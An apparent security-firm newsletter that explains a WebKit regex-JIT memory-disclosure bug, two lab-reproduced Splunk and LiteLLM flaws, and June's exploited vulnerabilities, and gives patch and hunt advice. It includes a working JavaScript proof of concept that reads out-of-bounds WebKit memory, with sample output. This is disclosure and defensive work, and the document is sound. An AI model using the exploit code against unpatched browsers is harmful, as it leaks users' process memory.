This issue opens with our own work: a WebKit vulnerability
Neonix reported to Apple — CVE-2026-43740, a regex-engine memory-disclosure
bug fixed in the 26.5.2 updates — where a single crafted regular expression can disclose
WebKit process memory without user interaction. Then two flaws we rebuilt in a lab: a Splunk Enterprise service that
accepts unauthenticated file-create and truncate requests, and a LiteLLM AI-gateway
"test" endpoint that can launch a caller-supplied MCP process. The connecting thread — code that trusts an input it never checked.
Plus June's wider signal: PeopleSoft extortion, exploited edge-device flaws, and a
KEV owner queue worth assigning before it becomes unowned exposure.
The regex that discloses WebKit process memory
Apple credits Neonix technical lead Arni Hardarson for
CVE-2026-43740, a WebKit vulnerability fixed in macOS Tahoe 26.5.2 and
iOS/iPadOS 26.5.2. It is
an out-of-bounds memory read in YARR — the just-in-time (JIT) compiler
for JavaScript regular expressions in Safari's engine. A single crafted regex, evaluated
by web content, can disclose WebKit process memory through a match/no-match oracle. There
is no click, no prompt, and no download. Because the fix has shipped, we can walk through exactly what
went wrong.
Root cause — one bounds check where two were needed
To match a case-insensitive backreference like /(x)\1/i, the JIT has to
compare two characters ignoring case: the one it just read from the input, and the one
the group captured. It does that by looking each up in
latin1CanonicalizationTable — a fixed 256-entry table. The
generated code checked that the input character was in range (≤ 127) before
indexing the table — but never checked the captured character. A captured code
point above U+00FF therefore indexes far past the end of the table.
YarrJIT.cpp# vulnerable shape, simplified from matchBackreference() charactersMatch.append(branch32(Equal, character, patternCharacter)) notASCII = branch32(GreaterThan, character, 127) # guards only input char load16(latin1CanonicalizationTable[character]) load16(latin1CanonicalizationTable[patternCharacter]) # captured char is unchecked # fixed shape characterNotASCII = branch32(GreaterThan, character, 127) patternCharNotASCII = branch32(GreaterThan, patternCharacter, 127) # if either value is non-ASCII, take the Unicode-aware slow path
U+017F indexes outside a 256-entry tableU+017F, value 383) and match it against an
ASCII input character: the input passes the ≤ 127 check, then the code reads
latin1CanonicalizationTable[383], outside the 256-entry table. Push the
captured character up to U+FFFF and the indexed read lands roughly
128 KB past the table. The fix simply adds the missing bounds check on
the captured character, so anything non-ASCII falls through to the correct, slower
Unicode path.
jsc: JIT vs interpreter# the JIT gets these wrong; the (correct) interpreter, run with --useJIT=false, does not /(ſ)\1/iu.exec("ſs") // JIT: null # a REAL match silently dropped // interpreter: ["ſs","ſ"] # correct /(.)\1/iu.exec("Ā"+"K") // JIT: ["ĀK","Ā"] # a FALSE match, invented from out-of-bounds memory // interpreter: null # correct # root flaw: the JIT canonicalizes via a 256-entry table but bounds-checks only ONE # of the two characters — a captured char > U+00FF indexes up to ~128 KB past it.
--useJIT=false as the
control. The same expressions diverged only when the YARR JIT was active. Our BMP
sweep ran about 6 million probes
(U+0100–U+FFFF captured code points, excluding surrogates, × 95 printable ASCII probes):
JIT run 1 and run 2 both returned 354 matches across
300 distinct out-of-bounds offsets and a 66.7 KB
observed span, with the same hash both times. The interpreter returned only
4 genuine Unicode case-folding matches. That gap is the disclosure
signal.
The proof-of-concept — about 40 lines
The bug is fixed in 26.5.2, so here is the core of what we ran. It warms the regex until the JIT compiles it, then sweeps captured code points (the out-of-bounds index) against printable ASCII probes. A match means the out-of-bounds value equals the probe — so the probe that matches is the recovered byte. On our unpatched test build this recovered 300 out-of-bounds offsets; on a patched 26.5.2 build — and on Chrome and Firefox — the same code recovered only the two genuine Unicode case-folds.
const re = /(.)\1/iu; // .exec() compiles the buggy full-match JIT path for (let w = 0; w < 30000; w++) re.exec("ĀA"); // warm the YARR JIT so it compiles const mem = {}; // recovered out-of-bounds bytes for (let cp = 0x100; cp <= 0xFFFF; cp++) { // captured code point = out-of-bounds table index const c = String.fromCharCode(cp); for (let a = 0x20; a <= 0x7E; a++) { // ASCII probe byte // match ⇒ latin1CanonicalizationTable[cp] (read out of bounds) == canon(probe) if (re.exec(c + String.fromCharCode(a)) !== null) { mem[(cp - 0x100) * 2] = a; // byte recovered at this out-of-bounds offset break; } } }
● VULNERABLE — WebKit YARR JIT read 300 out-of-bounds offsets (66.7 KB span) · 367 ms · deterministic # offset · recovered byte · ascii +0x00000 0x4b K +0x00010 0x53 S +0x001e0 0x40 @ +0x001ec 0x41 A +0x001f0 0x5a Z +0x001fc 0x5b [ +0x00200 0x60 ` +0x0021c 0x7b { ... 300 offsets total · patched 26.5.2 / Chrome / Firefox recover only the 2 real case-folds → "not vulnerable"
Splunk's backup service accepts unauthenticated paths
On 10 June, Splunk disclosed CVE-2026-20253 (CVSS 9.8): an
unauthenticated arbitrary file creation and truncation flaw in a
PostgreSQL "sidecar" service that ships with Splunk Enterprise. It affects
10.2.0–10.2.3 and 10.0.0–10.0.6, and is fixed in
10.2.4, 10.0.7 and 10.4.0+. Splunk Cloud is
not affected because it does not run the PostgreSQL sidecar. CISA added it to KEV on
18 June. We wanted to know exactly what the fix changed and whether it was as bad as it
sounded — so we built it in a lab and diffed it ourselves.
What the patch diff showed
We compared 10.2.3 (vulnerable) with 10.2.4 (fixed) and found
203 changed files. The change that matters sits in a single packaged Go binary —
splunk-postgres — which was shipped unstripped, with symbols,
so we could follow the recovery service by name.
requireAuthentication:falsePOST /v1/postgres/recovery/backup and .../restore. That
block is byte-identical between 10.2.3 and 10.2.4 — so the fix is not
"turn authentication on" at the proxy. The request body carries a field the schema
describes literally as "the absolute filepath of the backup being created" —
i.e. an attacker names the file that gets written.
What actually happens on the server
Reading the sidecar's own log, the backup runs pg_dump -f <backupFile> -U
<user>, and the HTTP Basic username and password from the request are passed
straight through as the Postgres credentials. In 10.2.3 the service only
checks that a Basic header is present — it never validates it. And because
pg_dump opens (creates and truncates) the output file before
it connects to the database, the attacker's file is created or zeroed even when the
database login then fails on the junk password.
# splunkd proxies an unauthenticated recovery route to the loopback sidecar request reaches backup handler Basic header exists, but is not validated caller controls backupFile as an absolute filesystem path # server-side: pg_dump -f <backupFile> -U <Basic-username> ... # pg_dump opens the output file (O_CREAT|O_TRUNC) before it authenticates to the DB, # so a Splunk-writable path can be created or truncated even when login fails. # root flaw: a sensitive function treated "a header exists" as authentication.
validateSplunkToken, and new ErrInvalidToken /
ErrNotAdmin errors — plus a set of loopback and pg_hba
network-hardening routines. In other words: the recovery API now requires a genuine
Splunk admin token, and the sidecar's database trust boundary is tightened. The proxy
layer never changed; the missing check was inside the service the proxy trusts.
HTTP 401 — "Authorization header must use Splunk token"
for both — exactly the new check the diff predicted. We used a benign marker file in a
lab-owned directory; we are not publishing a weaponised request.
/opt/splunk/bin,
which we confirmed in our lab. That is enough for denial of service and
integrity damage (zeroing configs, certs, binaries) and could become a
code-execution stepping stone if paired with a way to control content or a sensitive
writable path. Writing chosen content — a full database dump to
an arbitrary path, i.e. data theft — additionally requires valid
Postgres credentials; every junk-password attempt in our lab wrote zero bytes. We did
not build a create-to-RCE chain, and we are withholding weaponisation details.
10.2.0–10.2.3 or 10.0.0–10.0.6 · (3) with Splunk Web / the
management port reachable by users or networks you do not fully trust. Fix: upgrade to
10.2.4 / 10.0.7 /
10.4.0+. The advisory lists no work-around, so patching is the control.
Restrict Splunk Web and management interfaces to trusted networks regardless.
The AI gateway's "test" endpoint can start MCP processes
CVE-2026-42271 — added to CISA's KEV on 8 June — is a command-injection
flaw in LiteLLM, a widely self-hosted proxy that sits in front of AI
model providers and accumulates their API keys. The affected feature is the MCP
(Model Context Protocol) server test endpoints, which build a client from
request-supplied fields. Horizon3, who reported it, describe chaining it with a Starlette
Host-header bypass (CVE-2026-48710) to reach it unauthenticated. We took the
open-source tags and reproduced the LiteLLM half ourselves.
What our source diff and lab show
Comparing v1.83.3 (vulnerable) with the fixed v1.83.7, the fix
adds a PROXY_ADMIN authorisation check to both
/mcp-rest/test/connection and /mcp-rest/test/tools/list, and
adds an allow-list of permitted commands to the stdio-transport path that previously took
the caller's command and arguments directly. In our lab, a LiteLLM
v1.83.3 proxy started without a master key launched our own benign
MCP process from an unauthenticated request; v1.83.7 refused the
same request with HTTP 403 — "Only PROXY_ADMIN users can perform this action."
0.50.0. Our
lab therefore validates the LiteLLM endpoint authorisation flaw and its fix,
not the Starlette Host-header bypass that makes the published chain fully unauthenticated.
We attribute that unauthenticated-RCE chain to Horizon3's research and did not independently
reproduce the dependency-bypass condition. We are not publishing a weaponised request body.
1.83.7+ and move Starlette to a fixed line such as
1.0.1+; block MCP test endpoints from untrusted networks; and rotate
model-provider and downstream keys held by any gateway that was internet-reachable.
What the rest of June looked like
The items below are drawn from vendor advisories and named industry reporting, not from our own lab this month. We flag them because they fit June's theme — trust boundaries at the edge — and because several are being actively exploited.
CVE-2026-35273 — exposed Environment Management turns critical8.61 and
8.62: remotely exploitable without authentication, leading
to remote code execution. CISA added it to KEV on 12 June with known ransomware use.
Mandiant/GTIG report zero-day exploitation from late May, attributed to
UNC6240 / ShinyHunters, with 100+ organisations notified — 68% in higher education —
centred on Environment Management Hub (PSEMHUB) exposure. This is vendor
and named-research reporting rather than a Neonix lab result. Hunt
POST /PSEMHUB/hub and /PSIGW/HttpListeningConnector, and
restrict those paths from the internet.
CVE-2026-50751 (disclosed 8 June) lets
attacker-controlled IKEv1 negotiation flags skip certificate/signature verification on
Remote Access / Mobile Access VPN — the same class as last month's PAN-OS bypass.
Ivanti Sentry CVE-2026-10520 (CVSS 10.0, KEV 11 June) is
unauthenticated OS command injection with root RCE via an internal configuration API
that became internet-reachable. Both are being exploited; both should be handled as
patch-and-hunt items.
CVE-2026-11645, a
high-severity V8 out-of-bounds memory issue Google says is exploited in the wild.
Details are intentionally thin — the action is simply to make sure Chrome/Chromium
auto-update actually completed across your fleet this week.
CVE-2026-48558 (RMM/OIDC authentication bypass),
PTC Windchill/FlexPLM CVE-2026-12569 (PLM remote code
execution), Cisco Unified CM CVE-2026-20230 (SSRF with a
file-write path), Ubiquiti UniFi OS
CVE-2026-34908/34909/34910 (site-network
controller flaws), plus Cisco SD-WAN Manager
CVE-2026-20262 and Lantronix EDS5000
CVE-2025-67038. This is not our lab work; it is a KEV-driven owner sweep:
ask MSP/vendor management, manufacturing/engineering, voice, site-network, SD-WAN and
OT owners to confirm and document whether these products exist, whether they were
exposed, and whether patch-and-hunt evidence exists.
For Australian leaders — this week
Each item is written so a CIO, CISO or Head of Risk can forward it straight to the accountable team. Mapped to ASD Essential Eight and APRA CPS 234 where those frameworks apply.
- 01 Ship the Apple 26.5.2 updates (CVE-2026-43740) Confirm macOS Tahoe, iOS and iPadOS 26.5.2 actually reached managed and BYOD devices — the WebKit fix closes a no-interaction memory-disclosure bug reachable from any web page. ASD E8 — Patch Applications · Neonix-reported
- 02 Patch on-prem Splunk Enterprise now Upgrade affected 10.2.x / 10.0.x to 10.2.4 / 10.0.7 / 10.4.0+. There is no work-around. Confirm Splunk Web and management ports are not reachable from untrusted networks. ASD E8 — Patch Applications · CISA KEV added 18 Jun
- 03 Inventory and upgrade self-hosted AI gateways Find every LiteLLM / MCP proxy; upgrade LiteLLM to 1.83.7+ and move Starlette to a fixed line such as 1.0.1+; block MCP test endpoints; rotate provider and downstream keys any exposed gateway held. CISA KEV · treat as credentialed infra
- 04 Restrict and hunt PeopleSoft Environment Management Block external access to /PSEMHUB and /PSIGW paths; patch PeopleTools 8.61/8.62; hunt POST /PSEMHUB/hub and unexpected JSPs. Assume compromise if it was internet-facing. APRA CPS 234 · CISA KEV added 12 Jun; due 15 Jun
- 05 Patch exploited edge devices Check Point CVE-2026-50751 (disable legacy IKEv1 / require machine certificates) and Ivanti Sentry CVE-2026-10520 (patch to fixed branch, inspect for backdoors, rotate secrets). Both are exploited in the wild.
- 06 Confirm Chrome/Chromium auto-update completed Verify the 9 June V8 fix (CVE-2026-11645) is actually deployed across managed browsers — "auto-update is on" is not the same as "updated". ASD E8 — Patch Applications
- 07 Run the June KEV owner sweep Ask MSP/vendor management, manufacturing/engineering, voice/collaboration, site-network, SD-WAN and OT owners to confirm SimpleHelp, Windchill/FlexPLM, Cisco Unified CM, UniFi OS, Cisco SD-WAN Manager and Lantronix EDS5000 exposure, patch status and hunt evidence. CISA KEV — June
Numbers for the risk meeting
Use these as work-queue numbers, not trivia. Assign the seven owner groups, run the four exposure checks before debating severity, and rotate secrets where the AI gateway, edge appliance, RMM or control plane was reachable. WebKit, Splunk and LiteLLM are backed by original Neonix work; PeopleSoft, Check Point, Ivanti, Chrome and the June KEV owner queue are vendor, CISA or named-research signals. No third-party systems were tested.
That's Issue 002. The through-line: code that trusts an input it never checked — a JIT that bounds-checks one character but not the other, a proxy that treats "someone reached me" as authentication. We led with our own WebKit finding because that is the standard we hold ourselves to — find it, reproduce it, report it, then explain it plainly. Next month: another measured look at the security problems showing up in Australian environments, with our own labs behind the claims.
Need one of these exposure paths verified in your environment? See how Neonix tests it →